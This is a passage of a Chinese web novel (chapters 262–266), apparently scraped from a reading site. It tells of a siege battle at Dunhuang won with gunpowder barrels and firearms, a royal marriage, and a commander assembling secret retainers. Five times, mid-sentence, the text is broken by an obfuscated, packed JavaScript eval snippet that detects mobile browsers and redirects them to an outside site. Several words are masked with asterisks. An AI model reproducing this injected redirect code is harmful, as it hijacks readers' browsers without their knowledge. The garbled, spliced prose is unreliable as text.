士兵们在他的指挥下,将一口口沉重的,半人高的大木桶,运上了城楼。 这些木桶,从外表看,平平无奇。 但如果打开盖子,就会发现,里面装满了黑乎乎的**。 **中间,还混杂了大量的碎石子、铁钉和碎瓷片。 “军师,这些是……”一名负责搬运的校尉,好奇地问道。 “这叫‘没良心’炮。”陈平川拍了拍一个木桶,笑着解释道。 当然,这并非真正的没良心炮,只是一个简易的、威力巨大的**桶。 “把它们,沿着城墙,每隔三十步,安放一个。” “记住,引线一定要保护好,用油布包起来,千万不能受潮。” “是!” 校尉领命,立刻指挥手下,小心翼翼地将这些“大礼”安放妥当。 除了这些**桶,陈平川还让人把所有的震天雷,都分发了下去。 火铳营的五百名士兵,更是被他当成了宝贝,安置在城墙上视野最好,最坚固的几个箭楼里。 祝衡,则带着他那杆特制的“**”,占据了最高的一座塔楼。 那里,可以俯瞰整个战场。 做完城墙上的布置,陈平川又带着一队亲兵,悄悄地打开了城门。 他们像一群幽灵,消失在城外的夜色中。 没有人知道他们去做什么了。 …… 第二天,天刚蒙蒙亮。 “呜——呜——呜——” 苍凉而雄浑的号角声,划破了清晨的宁静。 吐蕃人的大营,开始动了。 黑压压的军队,如同决堤的洪水,从营地里涌出,朝着敦煌城,发起了潮水般的进攻。 冲在最前面的,是上万名仆从军。 他们装备简陋,士气低落,被吐蕃的督战队用鞭子和刀剑驱赶着,哭爹喊娘地冲向城墙。 他们是可悲的炮灰。 作用,就是消耗守军的箭矢和体力,填平城外的护城河。 在他们身后,才是真正的主力,两万名吐蕃重甲骑兵。 他们排着整齐的方阵,缓缓逼近,强大的压迫感,让人几乎窒息。 “擂鼓!” 城楼上,陈平川面无表情地吐出两个字。 “咚!咚!咚!” 战鼓声,冲天而起。 “弓箭手,准备!” 城墙上,上千名弓箭手,张弓搭箭,对准了城下黑压压的人群。 “放!” 随着陈平川一声令下。 “嗖!嗖!嗖!” 密集的箭雨,如同乌云一般,从天而降,覆盖了冲锋的仆从军。 惨叫声,顿时响成一片。 无数的仆从军士兵,像被割倒的麦子一样,成片成片地倒下。 但后面的人,在督战队的逼迫下,依旧只能硬着头皮往前冲。 他们扛着沙袋,抬着简易的云梯,疯狂地涌向护城河。 很快,宽阔的护城河,就被无数的尸体和沙袋,给填出了一条条通路。 “杀啊!” 后续的仆从军,踩着同伴的尸体,嚎叫着冲到了城墙底下,开始架设云梯。 “滚木!擂石!金汁!给我往下砸!” 城墙上的守军,在各级将官的指挥下, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16144820|177985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开始了最原始,也最惨烈的守城战。 巨大的滚木和擂石,呼啸着从城头滚落,将云梯上的敌人,砸得筋断骨折,血肉模糊。 一勺勺滚烫的金汁煮沸的粪便和尿液,更是守城的大杀器。 被浇中的敌人,瞬间皮开肉绽,发出凄厉的惨叫,在地上痛苦地翻滚。 战斗,从一开始,就进入了白热化。 城墙上下,喊杀声、惨叫声、兵器碰撞声,交织成了一曲血腥的死亡交响乐。 城外,吐蕃军阵中。 主将噶尔·钦陵骑在一匹高大的白马上,冷漠地看着眼前这惨烈的一幕。 仆从军的死伤,他毫不在意。 他要的,就是这个效果。 “传令,让重骑兵冲锋!” “汉人的箭矢和体力,消耗得差不多了,就给我一鼓作气,冲垮他们!” “是!” 然而,他的重骑兵刚刚冲出去不久,异变,陡生! “轰!轰!轰!轰!” 一连串惊天动地的**声,突然从冲锋的吐蕃骑兵阵中,猛烈地炸响! 只见,那些骑兵脚下的地面,突然毫无征兆地爆开一个个巨大的火球! 狂暴的冲击波,夹杂着无数的碎石和铁片,向四周疯狂地席卷而去。 方圆几十米内的吐蕃骑兵,连人带马,瞬间被炸得四分五裂,血肉横飞! **,一个接着一个,在吐蕃军阵中,遍地开花! 那场面,如同地狱降临! “什么情况?!”噶尔·钦陵大惊失色,猛地从马背上站了起来。 他身边的将领们,也全都吓傻了。 他们根本不明白,发生了什么。 难道是天神发怒了?降下了神罚? 只有城楼上的陈平川,露出了一个冰冷的笑容。 这,就是他昨天晚上,悄悄溜出城,为吐蕃人准备的“大礼”。 简易**阵! 他在吐蕃骑兵最可能经过的路径上,埋下了上百个装满了**和铁砂的陶罐。 这些陶罐,用细细的丝线连接着,只要有战马踩中断丝,就会触发引信,引爆**。 这种原始的绊发式**,技术含量不高,但用在此时,却起到了奇效! 第263章 炮震三军胆,枪寒万骑魂 吐蕃人哪里见过这种阵仗? 密集的骑兵方阵,瞬间被炸得人仰马翻,阵型大乱。 无数的士兵,还没看清敌人的样子,就被炸死炸伤,在地上痛苦地哀嚎。 恐慌,像瘟疫一样,在吐蕃军中蔓延开来。 “稳住!都给我稳住!”噶尔·钦陵又惊又怒,拔出弯刀,大声嘶吼着,“不要怕!冲过去!给我冲过去!” 然而,他的话,已经不起作用了。 前面的骑兵,被炸怕了,不敢再往前冲。 后面的骑兵,不知道前面发生了什么,还在一个劲地往前挤。 整个骑兵方阵,彻底乱成了一锅粥。 “就是现在!” 城楼上,陈平川抓住了这个千载难逢的机会。 “火铳营!准备!” 箭楼里,五百名火铳手,早已严阵以待。 他们将黑洞洞的铳口,从射击孔里,伸了出去,对准了城下乱作一团的吐蕃骑兵。 “开火!” 随着陈平川一声令下。 “砰!砰!砰!砰!砰!” 震耳欲聋的**,如同炒豆子一般,密集地响了起来! 第一排一百名火铳手,同时扣动了**。 一百道火舌,从城头喷射而出。 城下,正乱作一团的吐蕃骑兵,瞬间倒下了一大片。 他们身上坚固的铁甲,在火铳**面前,如同纸糊的一般,被轻易地洞穿。 鲜血,染红了他们身下的土地。 “第二排!开火!” “第三排!开火!” “第一排!装填完毕!开火!” 在祝衡的指挥下,火铳营开始了三段式轮流射击。 密集的弹雨,形成了一道无法逾越的死亡之网,无情地收割着城下吐蕃士兵的生命。 吐蕃人,彻底被打懵了。 他们从未见过如此恐怖的武器。 隔着上百步的距离,就能穿透他们的铠甲,将他们射杀。 不过,他们都是吐蕃精锐,又是虔诚的信徒,短暂的混乱之后,他们再次发起了冲锋! “军师!吐蕃人冲到城下了!” 一名士兵对着陈平川大喊。 “来得好!” 陈平川看着城下的吐蕃骑兵,眼中闪过一丝冰冷的杀意。 “‘没良心炮’!给我点火!” 城墙上,早已待命的士兵,立刻将火把凑近了那些大木桶的引线。 “嗤——” 引线被点燃,冒出刺鼻的白烟。 “快!扔下去!” 几名膀大腰圆的士兵,合力抬起一个冒着烟的**桶,怒吼一声,用尽全力,将它从城墙上,扔了下去。 沉重的木桶,在空中划过一道抛物线,精准地落入了城下最为密集的吐蕃人群中。 “轰隆!!!” 一声比之前任何一次**都要响亮的巨响,震得整个大地都在颤抖。 一团巨大的火球,冲天而起。 狂暴的冲击波,夹杂着无数的碎石和铁钉,形成了一道死亡风暴,向四周疯狂扩散。 方圆百米之内,所有的人和马,都被撕成了碎片! 残肢断臂,混杂着血肉,如下雨一般,从空中落下。 一个巨大的,焦黑的弹坑,出现在了地面上。 那场面,简直比地狱还要恐怖! 所有看到这一幕的人,无论是城上的守军,还是城下的敌军,全都吓傻了。 他们一个个张大了嘴巴,呆若木鸡,仿佛灵魂都出窍了。 这是……什么武器? 这还是凡人的力量吗? “妖术!是汉人的妖术!” “魔鬼!他们是魔鬼!” 吐蕃士兵的心理防线,彻底崩溃了。 他们扔掉手中的兵器,哭喊着,疯了一样地向后逃窜,只恨爹娘少生了两条腿。 就连那些负责督战的吐蕃军官,也被这神鬼莫测的手段,吓破了胆,跟着一起溃逃。 “轰!”“轰!”“轰!” 城墙上,一个个“没良心炮”被接连不断地扔下,在吐蕃军中,炸开一朵朵死亡之花。 每一次**,都伴随着大片士兵的死亡和更加巨大的恐慌。 城外,吐蕃军阵后方。 主将噶尔·钦陵,脸色惨白如纸,浑身都在发抖。 他看着前方那如同炼狱一般的战场,看着自己麾下最精锐的铁骑,被炸得鬼哭狼嚎,四散奔逃,他的心在滴血。 “快……快!鸣金收兵!全军后撤!”他用尽全身的力气,嘶吼道。 再不撤,他这三万大军,今天就要全部交代在这里了。 “当!当!当!” 急促的鸣金声,响彻战场。 残存的吐蕃士兵,如蒙大赦,拼了命地向后方的大营逃去。 城楼上,归义军的将士们,看着敌人狼狈逃窜的背影,先是愣了半晌,随即爆发出震天的欢呼声! “赢了!我们赢了!” “吐蕃人被打跑了!” “军师威武!归义军威武!” 他们一个个激动得热泪盈眶,又蹦又跳,将手中的兵器,高高地抛向空中。 他们做到了! 以一万之众,正面击溃了三万吐蕃大军! 这是一场足以载入史册的,酣畅淋漓的大胜! 然而,陈平川的脸上,却没有丝毫的喜悦。 他的目光,依旧死死地锁定着远方,吐蕃军中那面最高大的,代表着主帅的白色牦牛尾大旗。 “擒贼先擒王。”他喃喃自语,“只要那面大旗不倒,吐蕃人的军心,就散不了。他们随时都可能卷土重来。” 他转过头,面向钟楼的方向,挥动手里的红色小旗。 “王爷,该您出手了。” 钟楼的顶端,祝衡那杆特制的火铳,缓缓地伸了出来。 他通过千里镜,早已锁定了噶尔·钦陵的位置。 距离,大约五百步。 这个距离,已经远远超出了普通火铳的有效射程。 风,在耳边呼啸。 祝衡的心,却平静如水。 他的眼中,只剩下那个在无数亲兵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16144821|177985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 护卫下,骑在白马上的身影。 他深吸一口气,将所有的精神,都集中到了指尖。 时间,在这一刻,仿佛变慢了。 他能清晰地感觉到自己的心跳,感觉到风的流向,感觉到空气中弥漫的硝烟味。 就是现在! 他毫不犹豫地,扣动了**。 “砰!” 一声沉闷,却极具穿透力的枪响,在嘈杂的战场上,并不起眼。 一颗特制的,锥形弹丸,旋转着,呼啸着,划破了五百步的距离。 它精准地,穿过了无数亲兵的间隙。 下一秒。 正在指挥大军撤退的噶尔·-钦陵,身体猛地一震。 他的额头上,出现了一个小小的血洞。 他脸上的惊恐和愤怒,瞬间凝固。 他不敢置信地,低头看了看自己的胸口,又缓缓地抬起手,摸了摸自己的额头。 满手的,都是温热的鲜血和白色的物体。 他眼中的神采,迅速地黯淡下去。 “呃……” 他张了张嘴,想说什么,却一个字也说不出来。 随即,他高大的身体,晃了晃,一头从马背上栽了下来。 “砰”的一声,摔在地上,激起一片尘土。 吐蕃军中最勇猛的战将,赞普朗达玛最信任的弟弟,将军噶尔·钦陵,当场毙命! 所有人都被这突如其来的一幕,给惊呆了。 护卫在噶尔·钦陵身边的亲兵们,愣了半晌,才反应过来。 “将军**了!” “将军**!” 惊恐的尖叫声,此起彼伏。 主帅阵亡! 这对于一支正在溃败的军队来说,是压垮骆驼的最后一根稻草。 吐蕃人的军心,彻底崩溃了。 他们不再是撤退,而是真正的,毫无秩序的大溃逃! “杀!” 城楼上,张烈看到这一幕,激动得须发皆张。 他一把抢过身旁的战鼓,用尽全力,亲自擂响了反击的鼓声! “打开城门!全军出击!” “杀光吐蕃人!光复河西!” “杀啊!” 吊桥,缓缓放下。 厚重的城门,轰然打开。 张烈一马当先,手持长槊,率领着城中的三千多名骑兵,如同猛虎下山一般,冲杀了出去。 城墙上,阿丽娜也率领着她的月氏族人,弯弓搭箭,为冲锋的骑兵,提供远程火力掩护。 一场追亡逐北的杀戮,开始了。 归义军的将士们,憋着一股劲,对那些已经丧失了斗志的吐蕃人,展开了疯狂的追杀。 而钟楼上,祝衡缓缓地放下了手中那杆还在冒着青烟的火铳。 他看着远处那片混乱的战场,长长地吐出了一口气。 他的手,在微微地颤抖。 不是因为害怕,而是因为激动。 他做到了。 他用自己的方式,为这场战争,画上了一个决定性的句号。 他现在是一名真正的战士了! 第264章 震惊!他被女王当众求婚了! 下意识地,祝衡的目光望向了城墙上那道英姿飒爽的身影。 阿丽娜,仿佛心有灵犀一般,也正好回头,看向了钟楼。 四目相对。 虽然隔着数百步的距离,但他们都能看到,对方眼中那炙热的,毫不掩饰的欣赏和情意。 阿丽娜对着他,露出了一个灿烂的,如同雪莲花般美丽的笑容。 祝衡的心,在那一刻,被彻底融化了。 这一场追击战,从清晨,一直持续到黄昏。 归义军的铁骑,追着吐蕃人的屁股,一路掩杀,足足追出去了五十里。 吐蕃大军,兵败如山倒。 三万精锐,最终逃回吐蕃境内的,不足五千人。 其余的,不是**,就是被俘。 一万仆从军更是死伤惨重,几乎全军覆没! 缴获的辎重、战马、盔甲、兵器,堆积如山,数不胜数。 归义军,取得了建军以来,最辉煌,也最不可思议的一场大胜! 消息传出,整个河西走廊,为之震动! 所有人都被这个结果,惊掉了下巴。 一万破三万! 阵斩敌军主帅! 这是何等恐怖的战绩! 陈平川的名字,连同归义军的威名,一夜之间,响彻了整个西域。 之前那些还在犹豫观望的小部落,再也没有了任何疑虑。 他们争先恐后地派来使者,带着厚礼,前来敦煌朝贺,表达了永世结盟的意愿。 一些原本被吐蕃和回鹘奴役的汉人村寨,也纷纷揭竿而起,前来投奔。 归义军的实力,如同滚雪球一般,迅速膨胀。 短短一个月内,总兵力就突破了两万大关! 敦煌,真正成为了西域一股任何人都无法忽视的强大势力。 战后,**行赏。 陈平川,当居首功。 这一点,没有任何人有异议。 若不是他力排众议,坚持出战,若不是他神鬼莫测的计谋和威力无穷的火器,归义军早已灰飞烟灭。 张烈当众宣布,拜陈平川为归义军副指挥使,地位仅次于他,总揽全军军政大权。 而另一个大功臣,则是祝衡。 他那石破天惊的致命一枪,是扭转整个战局的关键。 所有人都对他敬佩不已。 但祝衡,却拒绝了所有的封赏。 他只是淡淡地说,自己不过是一个侥幸立功的普通汉人,不求任何名利。 他越是如此,众人便越是敬重他。 战后的第三天,祝衡便主动请缨,带着一批工匠和物资,前往南山,帮助阿丽娜的白羚部,重建家园。 他要用实际行动,来表达自己对阿丽娜的情意。 阿丽娜自然是欣喜不已,她带着所有的族人,热情地欢迎了祝衡的到来。 被战火焚毁的营地,在众人的努力下,很快就重新焕发了生机。 祝衡脱下了那身朴素的长衫,换上了月氏人的皮袄,和男人们一起搭建帐篷,修理栅栏,浑身沾满了泥土和汗水,却乐在其中。 他那份发自内心的真诚和仁德,赢得了整个白羚部的尊敬和爱戴。 族人们不再叫他“祝先生”,而是亲切地称呼他为“祝大哥”。 而阿丽娜,更是毫不掩饰自己对祝衡的爱慕。 她每天都陪在他的身边。 白天,她带着他,骑着最快的马,驰骋在辽阔的戈壁上,追逐羚羊和野狼。 她教他如何辨别方向,如何寻找水源,如何在这片看似贫瘠的土地上,发现无尽的生机和宝藏。 晚上,她会点起篝火,邀请他观看部落里最盛大的摔跤比赛。 那些强壮的月氏小伙子,在火光下挥洒着汗水,展现着最原始,最奔放的生命力。 她会亲自为他烤上最肥美的羊腿,倒上最香醇的马奶酒。 她会坐在他的身边,给他讲述自己部落的故事,讲述她的族人,是如何为了生存和自由,而与天斗,与地斗,与人斗。 祝衡,被这一切深深地打动了。 他看到了一个与中原截然不同的世界。 一个充满了自由、热情和顽强生命力的世界。 他那颗因为景帝之死,因为被朝廷追杀,被自己百姓出卖,而变得冰冷麻木的心,开始一点点地复苏,融化。 他发现,自己已经无可救药地,爱上了这个地方,爱上了这个如同烈火般炙热的女人。 这天晚上,阿丽娜为了庆祝家园重建,并答谢归义军的鼎力相助,举办了一场盛大的篝火晚会。 阿丽娜喝了很多酒,脸颊酡红,美得惊心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16144822|177985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动魄。 她借着酒意,在所有族人的注视和起哄声中,走到了祝衡的面前。 她那双明亮的眼睛,像天上的星星一样,灼灼地看着他。 “祝衡!” 她第一次,没有叫他“祝先生”,也没有叫“祝大哥”,而是直呼他的名字。 她的声音,清脆而响亮,充满了不容置疑的力量。 “我,阿丽娜,白羚部的女王,今天,要向你求婚!” 一句话,让整个营地,瞬间沸腾! 所有人都欢呼起来,吹着口哨,为他们的女王助威。 祝衡,则彻底愣住了。 他呆呆地看着眼前的女人,脑子里一片空白。 求婚? 一个女人,向一个男人求婚? 这在中原,是根本无法想象的事情。 阿丽娜却不管他是什么反应,她一步步地逼近他,眼神炙热得仿佛要将他融化。 “我不管你过去是什么人,也不管你将来会面对什么样的命运!” “我只知道,你是救了我白羚部全族的英雄!” “我只知道,我喜欢你!我想让你,成为我的男人!” 她的话,直接,大胆,充满了草原民族特有的奔放和热烈。 “留下来!” “做我的王!” “我们一起,守护这片土地,守护我们的族人!” 阿丽娜伸出手,抓住了祝衡的手。 她的手,温暖而有力。 祝衡的心,剧烈地跳动起来。 两人在众人瞩目下,围着篝火跳起了舞蹈。 阿丽娜舞姿奔放,热情似火,而祝衡却脚步僵硬,心乱如麻。 他的脑海里,闪过无数的念头。 他想起了自己在大业朝的身份,想起了那个腐朽不堪的朝廷。 他想起了远在庐州的女儿,昭华郡主。 他想起了自己对先帝的承诺,对大业江山的责任。 可是,那一切,都已经离他太远太远了。 大业,已经不是他所知的大业了。 他回不去了。 而眼前,是一个全新的世界,一个全新的开始。 一个爱他的女人,一群尊敬他的族人,一片需要他守护的土地。 他内心,在进行着前所未有地激烈挣扎。 留下,还是离开? 第265章 血的教训,斩断最后一丝幻想! 祝衡的挣扎,陈平川看在眼里。 在帮助白羚部重建家园的这几天,他抽空也来过几次。 他不是傻子,自然看得出祝衡和阿丽娜之间那点不同寻常的气氛。 对于祝衡的选择,陈平川没有干涉,也没有劝说。 他知道,这位前朝王爷,心里压了太多的东西。 国仇家恨,故土难离,对女儿的牵挂……这些都是沉重的枷锁,需要他自己来挣脱。 宴席结束,醉倒的阿丽娜被仆人送回毡房。 陈平川找到了独自一人坐在山坡上,对着月亮发呆的祝衡。 他在祝衡身边坐下,递过去一个酒囊。 “王爷,还在为白羚女王的求婚烦恼?”陈平川开门见山。 祝衡接过酒囊,猛灌了一口,辛辣的酒液呛得他咳嗽起来。 他苦笑一声:“平川,你别取笑我了。” “我一个丧家之犬,一个被朝廷通缉的逃犯,哪里配得上她?” “她是这片草原上的雄鹰,应该有更广阔的天空。而我,不过是一只断了翅膀的笼中鸟,自身难保,如何能给她幸福?” 他的话里,充满了自卑和无奈。 “王爷,您错了。”陈平川摇了摇头,“在我看来,您不是笼中鸟,您也是一只雄鹰。只是,您之前的天空,太小,也太污浊了。” “您所谓的身份,所谓的责任,不过是别人强加给您的枷锁。您为之奋斗了一辈子的那个朝廷,已经不值得您去守护了!” 陈平川的话,像一把尖刀,狠狠地扎进了祝衡的心里。 是啊,那个朝廷,早已烂到了根子里。 那个皇位,也早已易主。 他所坚守的一切,都不过是一场笑话。 “可……昭华还在庐州。”祝衡的声音,带着一丝哽咽,“我为人父,怎能抛下自己的女儿,在这里贪图安乐?” 这是他心里,最后的,也是最重的一道坎。 陈平川笑了。 “王爷,你以为我没想过这个问题吗?” “我半个月前就派人送信给黑风寨的凤三娘,让她想办法,将昭华郡主接到西域来。” “算算时间,她现在应该已经上路了。” “什么?!”祝衡猛地站了起来,不敢置信地看着陈平川,“你……你把昭华接过来了?” 陈平川点头:“你放心,路上的安全,有黑风寨照应,万无一失。” 祝衡拿着那封信,手都在抖。 他眼中的泪水,再也忍不住,夺眶而出。 这个年轻人,总是这样。 在他最需要的时候,默默地,为他安排好了一切。 “平川……我……我……”他哽咽着,一句话也说不出来。 “王爷,人不能总为虚名所累。”陈平川站起身,拍了拍他的肩膀,“过去的大业秦王,已经**。死在了逃亡的路上。” “现在的你,是祝衡,是白羚部敬仰的英雄,是阿丽娜女王心爱的男人。” “若此地能让你重获新生,能让你找到真正的快乐和价值,平川,为您高兴。” “去吧,别让一个好女人,等得太久。” 说完,陈平川转身,将空间,留给了他一个人。 祝衡站在山坡上,任由夜风吹拂着他斑白的头发。 他看着远处那片灯火通明的营地,看着那个还在篝火旁,痴痴等待着他的身影。 陈平川的话,彻底打消了他心中最后一丝的顾虑。 他终于明白了。 他所追求的“守护”,在中原,在那座冰冷的皇城里,已经无法实现。 但在这里,在这片辽阔而自由的土地上,他可以。 他可以守护一个部落,守护一个爱他的女人,守护一个崭新的未来。 他深吸一口气,挺直了腰杆。 那股属于王爷的威严和气度,重新回到了他的身上。 但他眼中,不再有忧郁和沉重,取而代之的,是前所未有的坚定和释然。 他大步流星地,朝着营地走去。 在所有族人惊喜的注视下,他走到了阿丽娜的面前。 他没有说话,只是单膝跪地,执起阿丽娜的手,在她的手背上,印下了一个庄重的吻。 “阿丽娜,请嫁给我!” 几个字,胜过千言万语。 阿丽娜的眼中,瞬间噙满了泪水。 她猛地扑进他的怀里,紧紧地抱着他。 “噢——!” 整个营地,爆发出雷鸣般的欢呼声! 族人们载歌载舞,庆祝着他们新的王,和女王的结合。 几天后,一场盛大无比的婚礼,在白羚部的营地举行。 祝衡,当着所有人的面,脱下了那身的汉人服饰。 阿丽娜亲手为他,换上了一件用雪狼王皮**制成的,象征着月氏王权的华丽王袍。 从今天起,他将是白羚部的王,阿丽娜的丈夫。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16146281|177985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他将用自己的余生,来守护这个新的家园。 祝衡和阿丽娜的结合,也意味着,归义军和白羚部,这两个西域新兴的势力,彻底融为了一体。 这为陈平川的“西域立国”大计,增添了最重要的一块基石。 一个强大的,牢不可破的同盟,和一个稳固无比的后方。 然而,就在敦煌和白羚部,都沉浸在喜悦之中时。 一个噩耗,从北方传来。 当初叛离归义军,执意要“回归中原”的张武,和他率领的那一千多名老兵,在行至玉门关附近时,遭遇了甘州回鹘主力大军的伏击。 他们浴血奋战,拼死突围,想要逃入玉门关内。 他们向关内的守军,高喊着自己是汉人,是归义军,请求开门救援。 然而,玉门关的城楼上,大业朝的旗帜,虽然依旧飘扬。 但守关的将领,担心引火烧身,选择了冷眼旁观。 他们眼睁睁地看着,城外的一千多名同胞,被数倍于己的回鹘铁骑,包围,分割,**殆尽。 最终,张武和他的一千多名兄弟,全部战死。 没有一个人,能再踏上中原的土地。 他们的尸骨,被回鹘人筑成了京观,用来炫耀武功。 消息传回敦煌,整个归义军,一片死寂。 所有人都沉默了。 那些曾经支持张武,或者对陈平川的“立国论”心存疑虑的人,此刻,都羞愧地低下了头。 残酷的现实,给了他们最响亮的一记耳光。 中原,真的回不去了。 那个他们曾经为之奋斗,为之流血的“大业朝廷”,早已将他们,当成了可以随意抛弃的棋子。 张烈的眼中,流下了两行浑浊的泪水。 他亲手,将张武的灵位,请入了归义军的忠烈祠。 然后,他走到了陈平川的面前,深深地,向他鞠了一躬。 “军师,我错了。” “从今往后,我归义军上下,唯军师之命是从!” “你说怎么干,我们就怎么干!” “哪怕是与天下为敌,我张烈,也绝无二话!” 陈平川扶起了他。 他知道,从这一刻起,归义军内部,再也不会有任何杂音了。 他们与中原的联系,已经彻底被斩断。 他们的未来,只有一条路可走。 那就是,在这片西域的土地上,建立一个,属于他们自己的国家! 第266章 六个亡命徒,陈平川的底牌 敦煌大胜带来的喧嚣与喜悦,如同退潮的海水,在数日后渐渐平息。 城中的军民恢复了往日的操练与劳作,但每个人脸上都洋溢着对未来的自信和希望。 然而,作为这一切的缔造者,陈平川却比任何时候都要清醒。 他站在城墙的望楼上,俯瞰着整座敦煌城,目光深邃。 正面战场上的胜利,固然酣畅淋漓,但那只是摆在明面上的较量。 真正的博弈,往往发生在看不见的阴影之中。 暗杀、渗透、情报、破坏……这些上不得台面的手段,却往往能在关键时刻,起到决定性的作用。 梁家在朝中的势力盘根错节,吐蕃和回鹘也绝不会善罢甘休。 他深知,自己这个不懂半点武功的军师,早已成了无数人眼中的钉子,肉中的刺。仅凭身边那几个普通护卫,根本无法应对来自暗处的致命威胁。 所以,他需要一支能够保护自己的亲卫。 一把,只属于他自己,能够插入敌人心脏的,最锋利的**。 他需要一群能为他执行任何“不可能任务”的绝对亲信。 这个念头,在他心中盘桓已久。 现在,是时候行动了。 他回到书房,从一个上锁的暗格里,取出了一个黑色的木盒。 盒子里,是六份卷宗。 陈平川的手指,轻轻拂过第一份卷宗。 代号:“老龟”,姓名:全伯。 一个年过五旬,沉默寡言的老工匠。 陈平川还记得第一次见到他的时候,那是在沙州的一个破败工坊里。 全伯曾是大业朝工部的罪官,因为一次器械设计上的失误,导致皇家工程出了大乱子,被判了**。 他侥幸**,一路乞讨,逃到了这不法之地西域,终日与酒精为伴,形同活**。 是陈平川找到了他,没有鄙夷,没有怜悯,只是递给了他一张复杂的机括图纸。 “你若能将此物造出,我便给你一个,让你一身所学不至埋没于黄土的机会。” 那图纸正是**的**。 全伯当时只是抬起浑浊的眼,看了他一眼,便抢过图纸,三天三夜不眠不休,竟真的将那东西造了出来。 从那天起,全伯便成了陈平川麾下最顶尖的技术核心,无论是机关、爆破还是土木工程,都无人能出其右。 陈平川的手指,移到了第二份卷宗。 代号:“鬼影”,姓名:玲儿。 一个年约二十的清秀女子,看起来人畜无害。 可陈平川知道,这副柔弱的外表下,隐藏着怎样致命的杀机。 他是在一次清剿潜入敦煌的吐蕃探子时,发现了她。 她是个孤儿,从小在最混乱的市井中长大,为了活下去,学会了偷窃、伪装,也学会了如何悄无声息地,用锋利的木簪,刺穿一个壮汉的咽喉。 当归义军的士兵将她团团围住时,她像一只受惊的野猫,手里抓着一把尖刀对着喉咙,眼中满是绝望和凶狠。 陈平川挥退了众人,只是问了她一句:“想不想,每天都能吃饱饭?想不想,活得像个人?” 她愣住了,眼中的凶光,渐渐被迷茫所取代。 如今的她,经过陈平川的训练,成为黑暗中最致命的**,擅长潜行、易容与刺杀。 第三份卷宗,代号:“苍鹰”,姓名:燕飞。 一个来自边境部落的十八岁少年,眼神锐利得像真正的苍鹰。 他的村庄,曾被甘州回鹘的游骑兵一夜之间屠戮殆尽。 他亲眼看着父母姐妹死在眼前,抱着妹妹冰冷的尸体,在废墟中哭了三天三夜,然后发誓要杀光所有回鹘人。 后来他加入了归义军,却因为性子太独,不服管教,屡次触犯长官,差点被斩首。 是陈平川保下了他,将他带到身边,给了他最好的弓,最优良的箭,只对他说了一句话。 “你的仇,我帮你报。但你的箭,从今往后,要为我而发。” 燕飞的箭术通神,目力可及千步之外,是团队最可靠的眼睛。 第四份卷令,代号:“猿臂”,姓名:石头。 这是一个身高两米,壮硕如熊的汉子。 他本是吐蕃贵族手下的矿奴,终日在黑暗的矿洞里,承受着非人的折磨。 是陈平川用计,将那一整个矿洞的汉人奴隶都救了出来,然后石头便一直跟着他。 石头天生神力,能开三百斤的硬弓,能举千斤的巨石,但心思却单纯得像一张白纸。 在他眼里,将他从地狱中拯救出来的陈平川,就是无所不能的神明。 陈平川让他往东,他绝不往西。陈平川让他死,他连眉头都不会皱一下。 他是团队最坚固,也最值得信赖的盾牌。 第五份,代号:“毒蛇”,姓名:阿魅。 一个妖娆妩媚,眼波流转间尽是风情的西域女子。 她的族人,世代精通药理,擅长利用各种草药治病救人。 却因为这份神秘的技艺,被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16146282|177985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其他部落诬为“女巫”,险些惨遭灭族。 就连归义军内部,许多人也对她们敬而远之,认为她们不祥。 